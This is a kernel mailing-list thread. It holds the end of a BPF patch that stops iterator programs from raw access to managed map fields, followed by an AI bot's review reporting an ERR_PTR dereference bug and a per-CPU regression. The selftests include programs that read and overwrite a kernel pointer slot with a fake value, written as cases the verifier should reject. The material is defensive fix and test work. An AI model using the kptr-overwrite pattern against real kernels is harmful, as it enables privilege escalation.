+	close(sock_fd);
+}
+
+static void test_bpf_iter_managed_map_fields(void)
+{
+	struct bpf_iter_bpf_sk_storage_map *skel;
+
+	skel = bpf_iter_bpf_sk_storage_map__open_and_load();
+	if (!ASSERT_OK_PTR(skel, "managed_map_fields_open_and_load"))
+		return;
+
+	test_managed_map_elem_iter(skel);
+	test_managed_sk_storage_iter(skel);
+	bpf_iter_bpf_sk_storage_map__destroy(skel);
+}
+
 static void test_rdonly_buf_out_of_bound(void)
 {
 	DECLARE_LIBBPF_OPTS(bpf_iter_attach_opts, opts);
@@ -1776,6 +1961,8 @@ void test_bpf_iter(void)
 		test_bpf_percpu_array_map();
 	if (test__start_subtest("bpf_sk_storage_map"))
 		test_bpf_sk_storage_map();
+	if (test__start_subtest("managed_map_fields"))
+		test_bpf_iter_managed_map_fields();
 	if (test__start_subtest("bpf_sk_storage_map_iter_fd"))
 		test_bpf_sk_storage_map_iter_fd();
 	if (test__start_subtest("bpf_sk_storage_delete"))
diff --git a/tools/testing/selftests/bpf/progs/bpf_iter_bpf_sk_storage_map.c b/tools/testing/selftests/bpf/progs/bpf_iter_bpf_sk_storage_map.c
index eb9642923e1ca..75207dd2c7603 100644
--- a/tools/testing/selftests/bpf/progs/bpf_iter_bpf_sk_storage_map.c
+++ b/tools/testing/selftests/bpf/progs/bpf_iter_bpf_sk_storage_map.c
@@ -18,6 +18,35 @@ __u32 val_sum = 0;
 __u32 ipv6_sk_count = 0;
 __u32 to_add_val = 0;
 
+struct local_obj {
+	__u64 value;
+};
+
+/* Force LLVM to emit complete BTF for local_obj. */
+struct local_obj *btf_anchor;
+
+struct managed_value {
+	__u64 prefix;
+	struct local_obj __kptr * ptr;
+};
+
+struct {
+	__uint(type, BPF_MAP_TYPE_HASH);
+	__uint(max_entries, 1);
+	__uint(map_flags, BPF_F_NO_PREALLOC);
+	__type(key, __u32);
+	__type(value, struct managed_value);
+} managed_hash_map SEC(".maps");
+
+struct {
+	__uint(type, BPF_MAP_TYPE_SK_STORAGE);
+	__uint(map_flags, BPF_F_NO_PREALLOC);
+	__type(key, int);
+	__type(value, struct managed_value);
+} managed_sk_storage_map SEC(".maps");
+
+__u64 observed_kptr;
+
 SEC("iter/bpf_sk_storage_map")
 int rw_bpf_sk_storage_map(struct bpf_iter__bpf_sk_storage_map *ctx)
 {
@@ -50,3 +79,87 @@ int oob_write_bpf_sk_storage_map(struct bpf_iter__bpf_sk_storage_map *ctx)
 
 	return 0;
 }
+
+SEC("iter/bpf_map_elem")
+int map_iter_no_access(struct bpf_iter__bpf_map_elem *ctx)
+{
+	return 0;
+}
+
+SEC("iter/bpf_map_elem")
+int map_iter_prefix(struct bpf_iter__bpf_map_elem *ctx)
+{
+	struct managed_value *value = ctx->value;
+
+	if (value)
+		value->prefix++;
+	return 0;
+}
+
+SEC("iter/bpf_map_elem")
+int map_iter_read_kptr(struct bpf_iter__bpf_map_elem *ctx)
+{
+	struct managed_value *value = ctx->value;
+	__u64 *ptr;
+
+	if (!value)
+		return 0;
+	ptr = (__u64 *)&value->ptr;
+	observed_kptr = *ptr;
+	return 0;
+}
+
+SEC("iter/bpf_map_elem")
+int map_iter_write_kptr(struct bpf_iter__bpf_map_elem *ctx)
+{
+	struct managed_value *value = ctx->value;
+	__u64 *ptr;
+
+	if (!value)
+		return 0;
+	ptr = (__u64 *)&value->ptr;
+	*ptr = 0x1000;
+	return 0;
+}
+
+SEC("iter/bpf_sk_storage_map")
+int sk_storage_iter_no_access(struct bpf_iter__bpf_sk_storage_map *ctx)
+{
+	return 0;
+}
+
+SEC("iter/bpf_sk_storage_map")
+int sk_storage_iter_prefix(struct bpf_iter__bpf_sk_storage_map *ctx)
+{
+	struct managed_value *value = ctx->value;
+
+	if (ctx->sk && value)
+		value->prefix++;
+	return 0;
+}
+
+SEC("iter/bpf_sk_storage_map")
+int sk_storage_iter_read_kptr(struct bpf_iter__bpf_sk_storage_map *ctx)
+{
+	struct managed_value *value = ctx->value;
+	__u64 *ptr;
+
+	if (!ctx->sk || !value)
+		return 0;
+	ptr = (__u64 *)&value->ptr;
+	observed_kptr = *ptr;
+	return 0;
+}
+
+SEC("iter/bpf_sk_storage_map")
+int sk_storage_iter_write_kptr(struct bpf_iter__bpf_sk_storage_map *ctx)
+{
+	struct managed_value *value = ctx->value;
+	__u64 *ptr;
+
+	if (!ctx->sk || !value)
+		return 0;
+	ptr = (__u64 *)&value->ptr;
+	*ptr = 0x1000;
+	return 0;
+}
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH bpf v2 1/1] bpf: reject raw iteration over managed map fields
  2026-10-20  6:35 ` [PATCH bpf v2 1/1] " Zhiling Zou
@ 2026-10-20  7:13   ` bot+bpf-ci
  0 siblings, 0 replies; 3+ messages in thread
From: bot+bpf-ci @ 2026-10-20  7:13 UTC (permalink / raw)
  To: zhilinz, ameryhung, bpf, netdev, llvm
  Cc: ast, daniel, andrii, eddyz87, memxor, martin.lau, song,
	yonghong.song, jolsa, emil, ihor.solodrai, john.fastabend, davem,
	edumazet, pabeni, horms, nathan, ndesaulniers, morbo, justinstitt,
	zhilinz, menglong8.dong, bestswngs, mattbobrowski, vega,
	sashiko-bot, ast, andrii, daniel, martin.lau, eddyz87,
	yonghong.song, mason, ihor.solodrai

[-- Attachment #1: Type: text/plain, Size: 9659 bytes --]

> bpf: reject raw iteration over managed map fields

TL;DR:
- Possible kernel fault: map->record may be an ERR_PTR, dereferenced when
  attaching map iterators
- Per-CPU map iterators may be wrongly rejected
- Fixes: tag may be incomplete

>     bpf: reject raw iteration over managed map fields
>     
>     BPF map iterators expose values as writable PTR_TO_BUF memory. Attach-time
>     validation bounds maximum access by value_size, but does not account for
>     BTF-managed fields in map values. Direct buffer accesses can therefore read
>     or overwrite fields such as __kptr without the verifier's ownership checks.
>     
>     For bpf_map_elem and bpf_sk_storage_map iterators, limit value access to
>     the prefix before the first managed field. Since max_rdwr_access is an
>     exclusive end offset and record fields are sorted, accesses ending at the
>     first managed field remain available while accesses reaching it are denied.
>     
>     Revalidate the replacement program against the map associated with an
>     iterator link before bpf_link_update() swaps programs. Add selftests for
>     allowed prefix access, rejected managed-field reads and writes, and link
>     updates that introduce managed-field access.
>     
>     Fixes: 9db44fdd8105 ("bpf: Support kptrs in local storage maps")
>     Cc: stable@vger.kernel.org
>     Reported-by: Vega <vega@nebusec.ai>
>     Link: https://lore.kernel.org/all/1fa798d444efac579e91ee0716e228902a8f9afe.1791980149.git.zhilinz@nebusec.ai/

[ ... ]

>     Suggested-by: Amery Hung <ameryhung@gmail.com>
>     Assisted-by: LLM
>     Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>

The only Fixes: tag points at 9db44fdd8105 ("bpf: Support kptrs in local
storage maps"), which only enabled kptrs in sk/inode/task/cgrp storage maps.
That tag covers the bpf_sk_storage_map iterator, but this patch also changes
the bpf_map_elem iterator in kernel/bpf/map_iter.c for hash, LRU hash and
array maps.

Is that tag complete?  The bpf_map_elem iterators (a5cbe05a6673 ("bpf:
Implement bpf iterator for map elements")) have handed out the raw hash/array
value as a writable PTR_TO_BUF, bounded only by value_size, ever since special
fields appeared in those maps.  That includes bpf_timer (b00628b1c7d5 ("bpf:
Introduce bpf timers.")) and kptrs (61df10c7799e ("bpf: Allow storing
unreferenced kptr in map"), v5.19).

At 61df10c7799e, bpf_iter_attach_map() only bounded max_rdwr_access by
value_size, and the bpf_map_elem iterator value was a writable PTR_TO_BUF, so
a program could read or overwrite a __kptr slot with raw accesses.  Percpu
hash and percpu array exposure came later (65334e64a493, 6df4ea1ff0ff), so
61df10c7799e looks like the oldest introducing commit.

With only 9db44fdd8105 listed, stable trees that have 61df10c7799e (or
timers) but not 9db44fdd8105, for example 6.1, would not be picked for the
map_iter.c part of the fix.

Should this carry an additional tag:

  Fixes: 61df10c7799e ("bpf: Allow storing unreferenced kptr in map")

and optionally keep the 9db44fdd8105 tag as a second Fixes: line for the
sk_storage iterator?

> diff --git a/kernel/bpf/map_iter.c b/kernel/bpf/map_iter.c
> index c19b360bad9e..04cf255587aa 100644
> --- a/kernel/bpf/map_iter.c
> +++ b/kernel/bpf/map_iter.c
> @@ -97,25 +97,15 @@ static struct bpf_iter_reg bpf_map_reg_info = {
> +static int bpf_iter_map_elem_check_prog(struct bpf_prog *prog,
> +					struct bpf_map *map)

[ ... ]

> @@ -135,10 +125,39 @@ static int bpf_iter_attach_map(struct bpf_prog *prog,
>  	else
>  		value_size = round_up(map->value_size, 8) * num_possible_cpus();
>  
> -	if (key_acc_size > key_size || value_acc_size > value_size) {
> -		err = -EACCES;
> +	if (key_acc_size > key_size || value_acc_size > value_size)
> +		return -EACCES;
> +
> +	/* Fields are sorted by offset; max_rdwr_access is an exclusive end. */
> +	if (map->record && value_acc_size > map->record->fields[0].offset)
> +		return -EACCES;

Can map->record be an ERR_PTR here, so that the map->record test passes and
map->record->fields[0].offset is then loaded through an invalid pointer?

In map_check_btf() (kernel/bpf/syscall.c), the result of btf_parse_fields()
is stored without being cleared on error:

    map->record = btf_parse_fields(btf, value_type, ...);
    if (!IS_ERR_OR_NULL(map->record)) {
        ...
    }
    ret = btf_check_and_fixup_fields(btf, map->record);

btf_check_and_fixup_fields() returns 0 when IS_ERR_OR_NULL(rec), and
htab_map_check_btf(), array_map_check_btf() and
bpf_local_storage_map_check_btf() never look at the record.  The ERR_PTR
stays in map->record and map creation succeeds.

This does not look like a corner case.  btf_find_field() returns -EINVAL for
any value type that is not a struct, union or datasec:

    if (__btf_type_is_struct(t))
        return btf_find_struct_field(...);
    else if (btf_type_is_datasec(t))
        return btf_find_datasec_var(...);
    return -EINVAL;

That means every libbpf map declared with __type(value, __u64),
__type(value, int), an array value and so on has map->record ==
ERR_PTR(-EINVAL).  Allocation failures and the -E2BIG/-EEXIST parse errors
also leave an ERR_PTR behind.  Every other reader guards with
IS_ERR_OR_NULL(map->record): check_map_access(), bpf_obj_memcpy(),
btf_record_has_field(), bpf_map_mmap(), map_freeze(), array_map_free() and
bpf_ma_set_dtor().

With this patch, BPF_LINK_CREATE for a bpf_map_elem iterator on such a map
goes:

    link_create()
      bpf_iter_link_attach()
        bpf_iter_attach_map()
          bpf_iter_map_elem_check_prog()

Once the key and value size checks pass, it evaluates
map->record->fields[0].offset, which is a load from (void *)-22 +
offsetof(struct btf_record, fields), i.e. address 0xa.  BPF_LINK_UPDATE
reaches the same code through bpf_iter_link_replace() ->
bpf_iter_map_elem_validate_prog().

The existing selftests appear to hit this.  test_bpf_hash_map attaches
dump_bpf_hash_map and sleepable_dummy_dump to hashmap1 (__type(value, __u64)),
and test_bpf_array_map and test_bpf_percpu_* attach to maps with __u64/__u32
values.  Before this patch these iterators worked because map->record was
never dereferenced.

Should this be !IS_ERR_OR_NULL(map->record), matching the other map->record
readers?

Separately, does this check also apply to per-CPU maps where map->record is
valid, even though the iterator never exposes map memory directly there?

map_check_btf() allows BPF_KPTR_* fields in PERCPU_HASH, LRU_PERCPU_HASH and
PERCPU_ARRAY.  For those map types __bpf_hash_map_seq_show() and
__bpf_array_map_seq_show() fill a temporary percpu_value_buf instead:

    copy_map_value_long(map, info->percpu_value_buf + off, per_cpu_ptr(pptr, cpu));
    check_and_init_map_value(map, info->percpu_value_buf + off);

The copy skips special fields and then zeroes them, and writes never reach
the map, so reading or overwriting a __kptr through this buffer does not seem
possible.

The new bound is fields[0].offset, an offset within a single CPU's value, but
value_acc_size is compared here against a buffer of
round_up(map->value_size, 8) * num_possible_cpus() bytes.  Any access to the
slot of CPU 1 or higher, or to CPU 0 data after the first kptr, now fails with
-EACCES.

For example, take a PERCPU_HASH value of the form:

    struct { u64 cnt; struct foo __kptr *p; }

An iterator that sums cnt across CPUs attached fine before this change, and it
is now rejected.  There is no way to adjust the program to work around it.

Since this is tagged for stable, should per-CPU maps skip the managed-field
check, given their iterator buffer is already sanitized?

[ ... ]

> diff --git a/net/core/bpf_sk_storage.c b/net/core/bpf_sk_storage.c
> index 1d295a8769fa..ffbcfab9a71c 100644
> --- a/net/core/bpf_sk_storage.c
> +++ b/net/core/bpf_sk_storage.c
> @@ -846,12 +846,35 @@ static void bpf_iter_fini_sk_storage_map(void *priv_data)
> +static int bpf_iter_sk_storage_map_check_prog(struct bpf_prog *prog,
> +					      struct bpf_map *map)
> +{
> +	if (map->map_type != BPF_MAP_TYPE_SK_STORAGE)
> +		return -EINVAL;
> +
> +	if (prog->aux->max_rdwr_access > map->value_size)
> +		return -EACCES;
> +
> +	/* Fields are sorted by offset; max_rdwr_access is an exclusive end. */
> +	if (map->record &&
> +	    prog->aux->max_rdwr_access > map->record->fields[0].offset)
> +		return -EACCES;

This looks like the same ERR_PTR dereference as in
bpf_iter_map_elem_check_prog(), and it is reached even more easily.
bpf_local_storage_map_alloc_check() requires BTF for every SK_STORAGE map:

    /* Enforce BTF for userspace sk dumping */
    !attr->btf_key_type_id || !attr->btf_value_type_id)
        return -EINVAL;

So every sk_storage map whose value type is a scalar goes through
map_check_btf() -> btf_parse_fields() -> btf_find_field() == -EINVAL and keeps
map->record == ERR_PTR(-EINVAL).  That includes sk_stg_map in
progs/bpf_iter_bpf_sk_storage_map.c and bpf_iter_bpf_sk_storage_helpers.c,
both declared with __type(value, int).

The map->record test passes for the ERR_PTR, and map->record->fields[0].offset
then faults at a near-NULL address.  This happens during BPF_LINK_CREATE
(bpf_iter_attach_map()) and BPF_LINK_UPDATE
(bpf_iter_sk_storage_map_validate_prog()) for any bpf_sk_storage_map iterator
whose max_rdwr_access fits value_size.  Before this patch that was a working
configuration.

Could this use IS_ERR_OR_NULL(map->record) as well?


---
AI reviewed your patch. Please fix the bug or email reply why it's not a bug.
See: https://github.com/kernel-patches/vmtest/blob/master/ci/claude/README.md

CI run summary: https://github.com/kernel-patches/bpf/actions/runs/39382306212

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-10-20  7:13 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-20  6:35 [PATCH bpf v2 0/1] bpf: reject raw iteration over managed map fields Zhiling Zou
2026-10-20  6:35 ` [PATCH bpf v2 1/1] " Zhiling Zou
2026-10-20  7:13   ` bot+bpf-ci

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox